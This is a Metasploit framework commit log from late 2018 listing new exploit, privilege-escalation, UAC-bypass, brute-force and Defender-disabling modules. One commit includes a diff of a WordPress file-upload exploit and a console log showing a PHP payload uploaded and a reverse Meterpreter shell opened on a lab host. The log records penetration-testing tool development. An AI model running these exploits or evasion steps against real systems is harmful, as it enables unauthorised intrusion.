a28feed7d8
fix normalize and date
2018-11-19 04:00:58 -05:00
d904b93ec9
fixed is_vul
2018-11-19 13:39:08 +05:30
4b09584047
php_imap_open_rce
2018-11-18 21:28:19 -05:00
4a22656005
fixes
2018-11-18 21:56:51 +00:00
8b63c85bd2
fixes
2018-11-18 21:21:28 +00:00
467e0877f5
res.code
2018-11-18 12:40:09 +00:00
7ecdaa09c5
start printjob docs and bug fixes
2018-11-17 21:17:12 -05:00
b679bfa3d9
Carriage return errors fixed.
2018-11-18 03:29:17 +08:00
fd0f40a141
Add PowerShell as a separate target then set it as default.
2018-11-18 03:20:48 +08:00
cbdcd367ee
Minor print out mod
2018-11-16 20:31:34 +01:00
2deaf198b3
Added module docs
2018-11-16 13:29:22 -06:00
6f094799b6
Update modules/exploits/windows/http/hp_imc_java_deserialize.rb
...
Print payload length
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-16 20:20:52 +01:00
709befea5c
Update modules/exploits/windows/http/hp_imc_java_deserialize.rb
...
Fixed if/else block return
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-16 20:19:23 +01:00
90b9204703
Update DisclosureDate to ISO 8601 in my modules
...
Basic msftidy fixer:
diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb
index 9a21b9e398..e9ff2b21e5 100755
--- a/tools/dev/msftidy.rb
+++ b/tools/dev/msftidy.rb
@@ -442,6 +442,8 @@ class Msftidy
# Check disclosure date format
if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+?)['\"]/
d = $1 #Captured date
+ File.write(@full_filepath, @source.sub(d, Date.parse(d).to_s))
+ fixed('Probably updated traditional DisclosureDate to ISO 8601')
# Flag if overall format is wrong
if d =~ /^... (?:\d{1,2},? )?\d{4}$/
# Flag if month format is wrong
2018-11-16 12:18:28 -06:00
08b3efa046
Enhanced module and added documentation.
2018-11-16 21:18:45 +08:00
a174c606aa
Changed SELINUX check to use built in methods
2018-11-16 04:22:18 -06:00
189f29e534
Land #10572 eaton ssh private key scanner
2018-11-15 17:16:36 -05:00
de014f0599
remove variable only used once
2018-11-15 17:14:13 -05:00
8b4cf2c3e2
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into capture_docs2
2018-11-15 17:02:50 -05:00
3d53170694
fail_with instead of error and return
2018-11-15 17:01:52 -05:00
680393d4d6
Refined check method to actually verify vulnerability
2018-11-15 22:31:31 +01:00
420be60900
add CVE-2018-4237
2018-11-15 08:48:10 +08:00
2c30459a1b
add CVE-2018-4233 and CVE-2018-4404
2018-11-15 08:44:18 +08:00
38bea6c29c
Added msmailprobe to msf
2018-11-14 16:15:11 -06:00
4987f67b9b
Land #10925 , smb_login error/status message
2018-11-14 13:19:04 -06:00
795aa3c99c
Land #10828 , git submodule url exec CVE-2018-17456
2018-11-14 12:39:13 -06:00
02f2a2828e
Fix references CVE and WPVDB
2018-11-14 18:19:12 +01:00
3daec992c8
Fix indentation
2018-11-14 18:08:31 +01:00
798d3156bc
Print git command for module
2018-11-14 10:57:36 -06:00
b9348bd579
Added the CVE number in the references
2018-11-14 16:52:57 +01:00
5f9570cbcf
Added WordPress Duplicator <= 1.2.40 and documentation
2018-11-14 16:39:42 +01:00
f43aaac290
Clean code.
2018-11-14 16:48:39 +08:00
4fc047db87
Added advanced option to check console lock on linux systems, default true & updated docs
2018-11-13 22:33:12 -06:00
7cc4d09a92
Clean code.
2018-11-14 10:35:38 +08:00
5e85683228
removed to_s from string
2018-11-13 15:28:55 -06:00
3849d5de18
resolve description update request
2018-11-13 16:21:43 -05:00
ac8932c144
update 9631 to a current branch
2018-11-13 15:15:25 -06:00
da134f06e3
Updated check method
...
Fixed check method and redundant variable declarations
2018-11-13 16:01:40 -05:00
f2712ecdf6
Land #10607 , Add External Module: office365userenum.py
2018-11-13 10:57:05 -06:00
7a4770790c
Land #10938 , add docs for modules and fix bug.
...
Add docs for auxiliary module http_basic/imap/mysql, and fix a bug
in modules/auxiliary/server/capture/mysql.rb
2018-11-13 16:22:03 +08:00
11a2fa7f0d
Space at EOL removed from description
2018-11-13 00:23:21 +01:00
9d1554498d
WP GDPR Compliance plugin exploit - privsec to admin registering
2018-11-12 23:33:47 +01:00
538055c406
Initial documentation for Xorg Privesc Module
...
killed white spaces
2018-11-12 15:44:13 -06:00
541283a4dd
Tidied up set_payload
2018-11-12 20:45:49 +01:00
0bdab320f7
Remove useless variable declaration
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-12 12:04:22 +01:00
388aebc335
Add exploit module for spark unauthenticated rce.
2018-11-12 17:07:50 +08:00
16d146fd59
Fixing indentation.
2018-11-12 13:24:00 +08:00
3e4df06500
Some more modifications
...
Placed contents of request_post into execute_command
Randomized fingerprint with rand_text_alpha(12)
Spaces at EOL fixed
Normalized target URI
2018-11-12 13:04:42 +08:00
818cb37aca
Implemented changes recommended by @bcoles.
2018-11-12 12:26:23 +08:00
e06af184c8
Tidy check method
2018-11-11 22:53:13 +01:00
8894af58de
serialized, not deserialized...
2018-11-11 22:47:57 +01:00
1e8fbc3a1b
Fixed indentation and added a status message printout when exploiting
2018-11-11 22:37:42 +01:00
cf5ca78350
Added YSOSerial payload generating string
2018-11-11 22:15:30 +01:00
ef7fc783be
Added Selinux check, changed version check, retested on all platforms
2018-11-11 12:34:30 -06:00
a5429d21a6
Update modules/exploits/multi/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2018-11-11 07:39:32 -06:00
2a7b18bcbf
Update modules/exploits/multi/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2018-11-11 07:38:42 -06:00
40bc44d2b6
Add ForceExploit to Linux local modules
2018-11-11 09:37:56 +00:00
e6f548c5f4
added meterpreter, took out in session, moved to exploits/multi/local
2018-11-11 01:43:36 -06:00
3770f121fe
Changing result parsing style
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-11 08:07:37 +01:00
951d3e1117
Changing result parsing style
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-11 08:07:32 +01:00
446eec00b3
Remove disconnect
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-11 08:04:43 +01:00
189c203e3d
Remove handler
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-11 08:04:34 +01:00
e5df5494d9
Remove connect
...
Co-Authored-By: carmaa <carsten@carmaa.com>
2018-11-11 08:04:22 +01:00
5a978dca2e
Removed architecture to make payload selection work
2018-11-10 23:00:54 +01:00
cbaacf696a
Add exploit module for CVE-2017-12557
...
HP Intelligent Management Java Deserialization RCE (Windows)
2018-11-10 22:36:43 +01:00
1c2da8a5c8
correct trailing space issue
2018-11-10 15:40:03 -05:00
33f624bbb2
Module updated to reflect requested changes
2018-11-10 14:36:06 -05:00
1f14a9846d
Land #10767 , Add Cisco Prime Infrastructure remote root exploit
2018-11-10 17:08:16 +00:00
bf15fa0770
hash not password for mysql
2018-11-09 18:32:21 -05:00
c31c75c790
fix mysql capture store creds
2018-11-09 18:18:50 -05:00
981893a8bf
Merge branch 'master' into sparkrce
2018-11-09 14:12:33 +08:00
b93f14a5c2
Fixed some PR feedback, still working on adding meterpreter and cleanup
2018-11-08 22:10:46 -06:00
3f3bee6a79
added version check
2018-11-08 22:08:11 -06:00
012c8a450f
Feedback from PR work cont. changed loop, formatting errors, options
2018-11-08 22:08:11 -06:00
adb8be7f9f
includes partially implemented feedback from PR
2018-11-08 22:08:11 -06:00
18bf58e547
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2018-11-08 22:08:11 -06:00
8c4eb5f741
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2018-11-08 22:08:11 -06:00
84b79e6787
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com>
2018-11-08 22:08:11 -06:00
7feb960d9b
Initial add of Xorg SUID privesc
2018-11-08 22:08:11 -06:00
792b451f40
capture server docs and updates
2018-11-08 21:23:27 -05:00
f192b50a8e
Catch exceptions
2018-11-08 18:47:56 +00:00
1fbf779f9c
Added more verbose output
2018-11-08 18:35:15 +00:00
88e4d384d2
increased default timeout value
2018-11-08 16:13:55 +00:00
3c6f2157ae
land #10895 fix vmware_http_login undefined variables
2018-11-07 08:45:51 -05:00
9dd0f2a5ea
modified to allow unix cmd for testing and other targets not supported, took out interpolation,notes section re-added
...
added notes section back in
2018-11-06 20:45:20 -06:00
682433f62e
smb_login error/status message
2018-11-05 17:49:58 -06:00
dd57b27652
Rename `hash` to `generate_process_hash`
...
In the interest of compatibility this uses a more descriptive name for
the process hash creation method instead of overriding ruby's hash method.
See https://docs.ruby-lang.org/en/2.0.0/Hash.html
2018-11-05 17:16:16 -06:00
aff4ef0752
land #10912 moving polycom exploit to misc folder
2018-11-05 16:54:24 -05:00
0c38babb9e
Land #10874 , rm size restriction from pyld_inject
2018-11-05 15:16:40 -06:00
f185c06204
Land 10794, Add support for ms17_010_eternalblue_win8 ProcessName option
...
Merge branch 'land-10794' into upstream-master
2018-11-05 15:08:59 -06:00
7ca2311325
Land #10792 , Add support for ms17_010_eternalblue ProcessName option
...
Merge branch 'land-10792' into upstream-master
2018-11-05 14:19:10 -06:00
1f0941101f
shut up, msftidy
2018-11-05 14:13:33 -06:00
4f2ba46125
Stop some of the rubocop carnage
2018-11-05 14:11:24 -06:00
a32d8083f0
Land #10847 - Add blueimp's jQuery (Arbitrary) File Upload
...
CVE-2018-9206
2018-11-05 11:37:20 -06:00
cb229411bc
Land #10888 , Fix Net::SSH::CommandStream session open failure
2018-11-05 11:15:09 -06:00
5ec155fd44
Changed some options to advanced
2018-11-05 09:59:17 -06:00
708d067e65
Land #10919 , Add doc for ftp capture module.
...
And add a custom option banner for it.
2018-11-05 14:15:52 +08:00
ff07289132
better style according to the review
2018-11-05 13:46:36 +08:00
04218cff39
ftp capture
2018-11-04 21:46:01 -05:00
7464d81c01
Add warning about JSP deletion
2018-11-05 00:52:34 +09:00
e3246a9b88
made fixes
2018-11-04 18:07:43 +05:30
fdf45f269b
Move polycom_hdx_auth_bypass to exploit/unix/misc/
2018-11-04 06:14:26 +00:00
c3080d69f2
Use writable? method for local modules
2018-11-04 05:28:32 +00:00
4ac9fe5c9f
Land #10834 , For real this time
...
Merge branch 'land-10834' into upstream-master
2018-11-02 14:35:00 -05:00
15cc699071
Land #10834 , messagebox payload for x64
...
Merge branch 'land-10834' into upstream-master
2018-11-02 14:17:59 -05:00
6bc4b71ca3
Land #10873 , Add notes to exploit modules
2018-11-02 14:11:11 -05:00
7faa775b55
Remove the now unnecessary DisableNops option
2018-11-02 14:57:41 -04:00
2d3403cdd2
Land #10901 , Add modules for iOS images and texts
2018-11-02 13:46:58 -05:00
86469cc5a0
Land #10836 , Add Morris worm sendmail debug mode exploit
2018-11-02 11:17:33 -05:00
1d81f3764f
Land #10700 , Add Morris worm fingerd exploit and VAX reverse shell
2018-11-02 11:16:46 -05:00
6752bdd536
space's purge
2018-11-02 11:27:53 -03:00
0d8c8da470
remove useless method wrappers, fix indentation
2018-11-02 08:01:15 -05:00
e9b3502f98
Fix Net::SSH::CommandStream session open failure
...
I suspected this might be a problem for libssh servers.
2018-11-02 01:08:05 -05:00
4a8c1ef8f4
changed where pwd was getting executed
2018-11-01 16:06:08 -05:00
a1abebedd1
changed location of some code
2018-11-01 15:29:53 -05:00
2a2b1a47cc
updated block size, title
2018-11-01 15:00:38 -05:00
a80e571355
Update style
2018-11-01 07:26:12 +00:00
ca16e93200
rescue => e
2018-11-01 07:24:28 +00:00
ffecd189ee
Report rhost, as ip is undefined
2018-11-01 07:23:44 +00:00
114a8127e8
Land #10858 , bypassuac_eventvwr optimizations - reduce created processes and artifacts
...
Merge branch 'land-10858' into upstream-master
2018-10-31 16:44:32 -05:00
af7a7d586b
Add validation check to make sure x64 remote host and a x86 session
...
cannot select an x64 target.
2018-10-31 16:31:52 -05:00
7e61ec53da
downloading images by modifying block size
2018-10-31 14:36:45 -05:00
a7bb211c20
add OptEnum to filter icon type
2018-10-30 20:30:49 -03:00
3fb047c0f1
29 rubocop's issues fixed
2018-10-30 19:47:28 -03:00
b57b269df4
storing images
2018-10-30 15:43:25 -05:00
c8740a1b0f
deleted spaces at EOL
2018-10-30 15:09:39 -03:00
08ec8e1ef9
Land #10553 , add x86/xor_dynamic and x64/xor_dynamic encoders
...
Merge branch 'land-10553' into upstream-master
2018-10-30 09:56:15 -05:00
0cf8563fae
Update bypassuac_computerDefault.rb
2018-10-30 11:37:05 +01:00
bf295ecce5
Update bypassuac_computerDefault.rb
2018-10-30 11:36:38 +01:00
7f26364d5b
Changes suggested by OJ
2018-10-29 22:01:47 -05:00
d1da7d84db
added metadata and main function
2018-10-29 15:26:26 -05:00
4960e1b8c8
modification to accomplish the guideline and license changed to GPL
2018-10-29 14:11:21 -03:00
6fe7bb0bb6
Increase sleep time to 10 seconds
...
Increase the wait time before removing the registry key - allows the payload to spawn successfully on slow systems.
2018-10-29 12:55:03 -04:00
1d337e9987
No debug.
2018-10-29 13:46:07 +01:00
e76f3ab22f
No debug.
2018-10-29 13:44:16 +01:00
b705059bca
Added channel name length check
2018-10-28 20:18:58 +00:00
60aa1181ca
Add IBM WebSphere MQ Login Bruteforce module
...
Used to bruteforce usernames that can connect to the Queue Manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server from the above link
* Create a new Queue Manager
* Create a new channel (without SSL)
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
* Run the module
2018-10-28 19:29:45 +00:00
92d5ab469c
Update ibm_mq_channel_brute.rb
2018-10-28 18:21:54 +00:00
1c340f8202
Land #10853 , Add universal targeting to Mercury/32 IMAP LOGIN exploit
2018-10-28 18:17:46 +00:00
296d9a08eb
Removing unnecessary line
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2018-10-28 18:10:51 +00:00
3e3be18189
Using print_line instead of print("\n")
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2018-10-28 18:10:14 +00:00
f8c829dc81
Using print_line instead of print("\n")
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2018-10-28 18:10:09 +00:00
67e8a7ce13
Changing CHANNELS_FILE option type
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2018-10-28 18:08:12 +00:00
f51a95465e
Changed http to https in metasploit url
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2018-10-28 18:07:20 +00:00
a6135e3738
Added "increase timeout" message
2018-10-28 17:48:15 +00:00
02d9d0f006
Add IBM WebSphere MQ Queue Manager Name and MQ Version Enumeration module
...
Run this auxiliary against the listening port of an IBM MQ Queue Manager to identify its name and version. Any channel type can be used to get this information as long as the name of the channel is valid.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server from the above link
* Create a new Queue Manager
* Create a new channel (without SSL)
* Run the module
2018-10-28 16:09:17 +00:00
a23cb7dfe8
Add IBM WebSphere MQ Channel Name Bruteforce module
...
Uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
** Download and install MQ Server
** Create a Queue Manager
** Create a new channel (without SSL)
** Run the module
2018-10-28 15:22:27 +00:00
370bcaf8d8
Update mercury_login.md
2018-10-28 09:49:15 +01:00
a34310095c
Update modules/exploits/windows/imap/mercury_login.md
...
Co-Authored-By: kr3bz <44395414+kr3bz@users.noreply.github.com>
2018-10-28 09:41:29 +01:00
bfd3a17c0e
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <44395414+kr3bz@users.noreply.github.com>
2018-10-28 09:41:14 +01:00
5efbefdaea
Update mercury_login.md
2018-10-28 09:37:47 +01:00
2839a73cbd
Update mercury_login.rb
2018-10-28 09:35:15 +01:00
52fee303d4
Remove the size restriction from payload_inject
2018-10-27 21:26:09 -04:00
caf76a6555
Add applicable notes to my exploit modules
2018-10-27 20:54:14 -04:00
c61737bb18
Update mercury_login.md
2018-10-27 20:52:54 +02:00
239632ca03
Update mercury_login.md
2018-10-27 20:52:24 +02:00
3cf8a01b55
Update mercury_login.md
2018-10-27 20:51:31 +02:00
965c2d5c01
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com>
2018-10-26 13:37:37 +02:00
b4c005c4d4
Land #10561 , Add Windows local privilege escalation - CVE-2018-0824
...
Merge branch 'land-10561' into upstream-master
2018-10-25 13:22:31 -05:00
6b4e132f35
Create bypassuac_computerDefault.rb
2018-10-25 16:58:56 +02:00
280a714faf
Delete bypassuac_computerDefault.rb
2018-10-25 16:58:34 +02:00
e1a7c35834
Clean up check_banner
2018-10-25 05:20:20 -05:00
f90992dc08
Fix typo.
2018-10-25 17:55:01 +08:00
760b14e71d
Update the version match code.
2018-10-25 15:33:54 +08:00
2ab9a003d4
Land #10864 , Add Cisco WebEx RCE Modules
2018-10-24 16:20:00 -05:00
f52cbdf9d7
Change option types
2018-10-24 16:18:17 -05:00
4ec7e41f9e
Change option type
2018-10-24 16:16:03 -05:00
e84ba62740
Cosmetic changes for local/webexec
2018-10-24 16:13:47 -05:00
16d633fabd
Remove spaces before EOL
2018-10-24 11:04:41 -04:00
3729e9ed7b
added description, references
2018-10-24 09:46:00 -05:00
9f0c8a0929
Create bypassuac_computerDefault.rb
2018-10-24 15:06:07 +02:00
2e2d742ae7
Added updated mercury_login
...
Added additional space for the payload, made recommended changes, msftidy does not produce errors, readded null byte as a badchar.
2018-10-24 11:08:37 +02:00
458f635159
Add supported payloads to module description
2018-10-24 01:30:27 -05:00
839c4e0467
Drop rank to AverageRanking for now
2018-10-24 01:30:17 -05:00
37560760df
Add RequiredCmd for generic and telnet
2018-10-24 01:23:15 -05:00
ef2854c918
Use in-memory reflection for executing the payload
...
Use to_win32pe_psh_reflection() instead of to_win32pe_psh_net() in order to reduce the amount of processes and forensic artifacts created by this module.
2018-10-23 22:12:10 -04:00
d75c599929
Use ShellExecuteA to spawn eventvwr.exe
...
Use ShellExecuteA from railgun to spawn eventvwr.exe, as opposed to cmd /c. This reduces the amount of processes generated by this module.
2018-10-23 21:52:36 -04:00
da4b424780
Fix typo in cleanup message
2018-10-23 21:33:49 -04:00
569c2e03c9
Fix exploit relics and documentation
2018-10-23 17:15:34 -05:00
67f2933b58
Make fewer assumptions about Apache
...
Returning CheckCode::Safe is too aggressive for a supplemental check.
Admins can change the directive in top-level configuration, anyway.
2018-10-23 16:26:17 -05:00
d1111ace5d
fixes
2018-10-23 17:19:14 -04:00
34ae9c38f9
added WebEx modules, arch check
2018-10-23 15:51:23 -05:00
927a29530b
Remove duplicated files
2018-10-23 12:31:18 -05:00
65c0573738
Land #10848 , improve play_youtube post module
2018-10-23 12:26:55 -05:00
e992b63520
Land #10856 , add SSL support to php meterpreter
2018-10-23 11:59:09 -05:00
be2ec76ed2
Added modified mercury_login.rb
...
Modified the script with recommendations.
2018-10-23 17:17:30 +02:00
9c49acb924
Fail scanner instead of returning
2018-10-23 10:07:38 -05:00
58a1b65e60
Update Exploit::CheckCode::Unknown
...
Brain fart.
2018-10-23 09:34:48 -05:00
899238a4e3
Update libssh_auth_bypass with command output
2018-10-23 09:34:42 -05:00
c71bbc1019
Remove spaces that msftidy caught
2018-10-23 10:13:44 -04:00
0e7259040d
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com>
2018-10-23 14:32:53 +02:00
903f5e9ede
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com>
2018-10-23 14:32:44 +02:00
0b37e29c9a
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com>
2018-10-23 14:32:38 +02:00
43dd23042b
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com>
2018-10-23 14:32:10 +02:00
bdf2d44415
Augment check with Apache Server header
2018-10-23 07:04:14 -05:00
0249f1a4af
Improve check method and refactor
2018-10-23 06:20:31 -05:00
ee3c663baf
Upgraded exploit to work on any Windows target
...
In short, added egghunter and return address of
the executable file itself, so it should work
on any windows system.
Also, upgraded to modern exploit module requirements.
2018-10-23 12:11:56 +02:00
3d06c10ad0
Link to Apache AllowOverride directive and change
2018-10-23 03:51:16 -05:00
c9673df3b8
Add WordPress Work The Flow File Upload links
...
As noted by @bcoles, we have a module exploiting this vuln in #5130 ,
though it was described as the WordPress plugin and not the asset it had
included. The vuln was "patched" in the plugin by deleting the code.
Somehow this flew under everyone's noses.
msf5 exploit(unix/webapp/wp_worktheflow_upload) > edit
msf5 exploit(unix/webapp/wp_worktheflow_upload) > git diff
[*] exec: git diff
diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
index 727c1936f5..2146be49ec 100644
--- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
+++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
@@ -50,8 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
post_data = data.to_s
res = send_request_cgi({
- 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
- 'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'),
+ 'uri' => '/jQuery-File-Upload/server/php/index.php',
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
@@ -70,8 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Calling payload...")
send_request_cgi(
- 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
- 'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename)
+ 'uri' => "/jQuery-File-Upload/server/php/files/#{php_pagename}"
)
end
end
msf5 exploit(unix/webapp/wp_worktheflow_upload) > rerun
[*] Reloading module...
[*] Started reverse TCP handler on 172.28.128.1:4444
[+] Our payload is at: rLRFvlAiE.php. Calling payload...
[*] Calling payload...
[*] Sending stage (37775 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:54386) at 2018-10-23 03:17:59 -0500
[+] Deleted rLRFvlAiE.php
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu-xenial
OS : Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
Welp.
2018-10-23 03:51:11 -05:00
a55f7ff30a
Clarify vuln (re)discovery vs. disclosure
...
https://www.bleepingcomputer.com/news/security/jquery-file-upload-plugin-vulnerable-for-8-years-and-only-hackers-knew/
2018-10-23 03:22:45 -05:00
b4bdc52597
Sort path list by frequency
2018-10-22 23:35:42 -05:00
dbc0c802d5
Add detection of additional paths
2018-10-22 23:35:42 -05:00
c4f8b6c937
Add rudimentary check method
2018-10-22 23:35:42 -05:00
dba7e35819
Refactor slightly with methods
...
And also check upload response.
2018-10-22 23:35:42 -05:00
e7ada1a40c
Add timeout on payload request
...
This ensures we don't block on execution.
2018-10-22 23:35:42 -05:00
15f14bb295
Add note about Apache .htaccess
2018-10-22 23:35:42 -05:00
a986a17bb0
Link to @lcashdol's PoC
2018-10-22 23:35:42 -05:00
37dbdbf58f
Update project URL to PR
2018-10-22 23:35:42 -05:00
41721c31fb
Add blueimp's jQuery (Arbitrary) File Upload
2018-10-22 23:35:42 -05:00
c0e8d09802
Add disclosure date.
2018-10-23 09:44:36 +08:00
15e67de8fc
Add the EMBED option for play_youtube.rb
2018-10-22 19:51:41 -04:00
3ca309423a
Add check method to detect 4.3BSD fingerd
2018-10-22 18:32:37 -05:00
8459aad215
Prefer aobleq over incl/cmpl/bleq in payload
2018-10-22 18:32:37 -05:00
01d11e71db
Add Space, BadChars, Encoder, and DisableNops
2018-10-22 18:32:37 -05:00
fa892d8eba
Add Morris worm fingerd stack buffer overflow
2018-10-22 18:32:37 -05:00
8f2df4864c
Add 4.3BSD VAX reverse command shell payload
2018-10-22 18:32:37 -05:00
380aaf7889
bump payloads gem
2018-10-22 18:20:45 -05:00
e6bbc6dbd6
Land #10845 , glassfish_traversal typo fix
2018-10-22 15:32:14 -05:00
8d9bd33222
new version using Metasm
2018-10-22 16:36:04 -03:00
6125ef06ad
fix small typo
2018-10-23 00:01:13 +08:00
4711d6ba08
Move post module persistenct service to exploit.
2018-10-22 18:07:40 +08:00
74683ce951
Add Windows Post Module to disable Windows Defender signatures
2018-10-21 12:07:54 -05:00
58a6c4137d
Add a better timeout than expect can provide
2018-10-20 13:56:37 -05:00
a965abaf36
Add full payload support by setting $PATH
2018-10-20 13:56:33 -05:00
60c4b87ad1
Prefer expect over sleeping between writes
2018-10-20 13:15:15 -05:00
ad6f15c8ca
Add Morris worm sendmail debug mode exploit
2018-10-20 13:15:01 -05:00
7a36056713
Move exploit/qnx/qconn_exec to exploit/qnx/qconn/qconn_exec
2018-10-20 18:16:59 +00:00
aae74472d2
Land #10817 , QNX qconn module rename
2018-10-20 03:10:22 -05:00
accf9edf89
Land #10835 , libssh fingerprint improvements
2018-10-19 19:48:23 -05:00
47353553e5
Get everything together finally (still needs cleanup)
2018-10-19 18:15:44 -05:00
a6be9e573f
Should have saved the actual file...
2018-10-19 16:30:21 -05:00
eeec3c115e
This is as far as I can take it for an exploit module
...
but it still does not work. Commiting for posterity.
2018-10-19 16:12:47 -05:00
abd425c863
Land #10819 , os_name population for ssh_login*
2018-10-19 15:53:38 -05:00
db7bd3d50c
Update style
2018-10-19 15:52:26 -05:00
2a1dec45ed
Land #10832 , TARGETURI for tomcat_utf8_traversal
2018-10-19 15:47:37 -05:00
e4c71265fb
Improve banner checking in libssh_auth_bypass
...
Now we do the right thing when libssh is patched.
2018-10-19 15:21:12 -05:00
3a02e9e80f
First release, messagebox payload for x64
2018-10-19 16:39:41 -03:00
65d26d3a1e
Use the DISPLAY environment variable when available
2018-10-19 14:35:35 -04:00
21397330f8
Refactor fortinet_backdoor copypasta
2018-10-19 00:07:18 -05:00
863ab3447f
Add libssh auth bypass module
2018-10-18 23:03:23 -05:00
3cee96d8ed
Land #10664 , add Windows SetImeInfoEx Win32k NULL Pointer Dereference
2018-10-18 14:42:14 -05:00
fac05db154
Update rescue statement
2018-10-18 14:30:20 -05:00
02c916b1b4
Update modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
2018-10-19 04:16:26 +11:00
175e5e5adf
Added module TARGETURI support.
2018-10-19 03:55:45 +11:00
b3d45586db
feedback from code review
2018-10-18 12:30:46 +08:00
73d3cb8c03
Fix some format errors.
2018-10-18 12:01:57 +08:00
64e257649f
cleanup module
2018-10-18 11:45:59 +08:00
290d4428c1
create git mixin
2018-10-18 11:31:31 +08:00
063e477ff2
git submodule url exec (CVE-2018-17456)
2018-10-18 11:02:28 +08:00
d2c013001d
Update stuff
2018-10-17 17:17:05 -05:00
f59792773f
Add post module windows persistent service.
2018-10-17 18:44:46 +08:00
763506f28d
ssh_login now populates the os_name field
2018-10-16 22:02:44 -04:00
4a06fe1d4b
use store_valid_credential instead
2018-10-16 14:01:49 -04:00
a14df8d86e
Move exploit/unix/misc/qnx_qconn_exec to exploit/qnx/qconn_exec
2018-10-16 16:21:28 +00:00
2e91ec1495
semicolons :)
2018-10-16 14:59:27 +08:00
96ba3c636b
fix indentation and add author
2018-10-16 14:56:25 +08:00
57e2dd2192
send payload url to loader
2018-10-16 14:41:34 +08:00
9e069c95f5
add auto targeting
2018-10-15 23:26:08 -07:00
6cdfe604d4
removed exception handling for reg_file_for_handle
2018-10-15 18:29:15 -07:00
a19046dedb
Land #10793 , improve windows_defender_js_hta
2018-10-15 17:42:21 -05:00
8e442cc980
Update documenation
2018-10-15 15:45:39 -05:00
b0313dd25c
Update getgodm_http_response_bof for proper auto targets
2018-10-15 15:25:55 -05:00
ff9f3ed9ff
Add support for v5
2018-10-15 15:14:12 -05:00
5433d2cca9
Sync up upstream master
2018-10-15 14:19:07 -05:00
f78ccbf995
Indentation
2018-10-15 08:32:58 +05:30
8877582086
Land #10668 rsh stack clash solaris priv esc
2018-10-14 10:34:48 -04:00
f399b59ae4
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into cisco_device_manager
2018-10-13 13:31:20 -04:00
a942654515
rescue-from-method addressed
2018-10-12 14:47:05 -05:00
26631bcfbd
addressed suggestions
2018-10-12 14:35:42 -05:00
5b14d94957
Land #10671 , struts2_namespace_ognl updates
...
There are still some outstanding concerns, but I want to unblock this.
2018-10-12 11:08:33 -05:00
2989507b85
Copy check for data_header to avoid crash
...
Variable was used but out of scope.
2018-10-12 11:06:26 -05:00
96eeaf7da3
Made few changes
...
Thank you bcoles
2018-10-12 11:47:53 +05:30
f675ba5243
password not username
2018-10-11 17:08:03 -04:00
20a376130e
cat variable name
2018-10-11 17:04:57 -04:00
7cc46df6db
add docs and update cisco_device_manager
2018-10-11 17:01:38 -04:00
a67122aaf7
updated doc, added x86_64 binary
2018-10-11 12:37:51 -05:00
521b50af55
added separate binaries, extended for x86
2018-10-11 10:43:35 -05:00
f8ad47d475
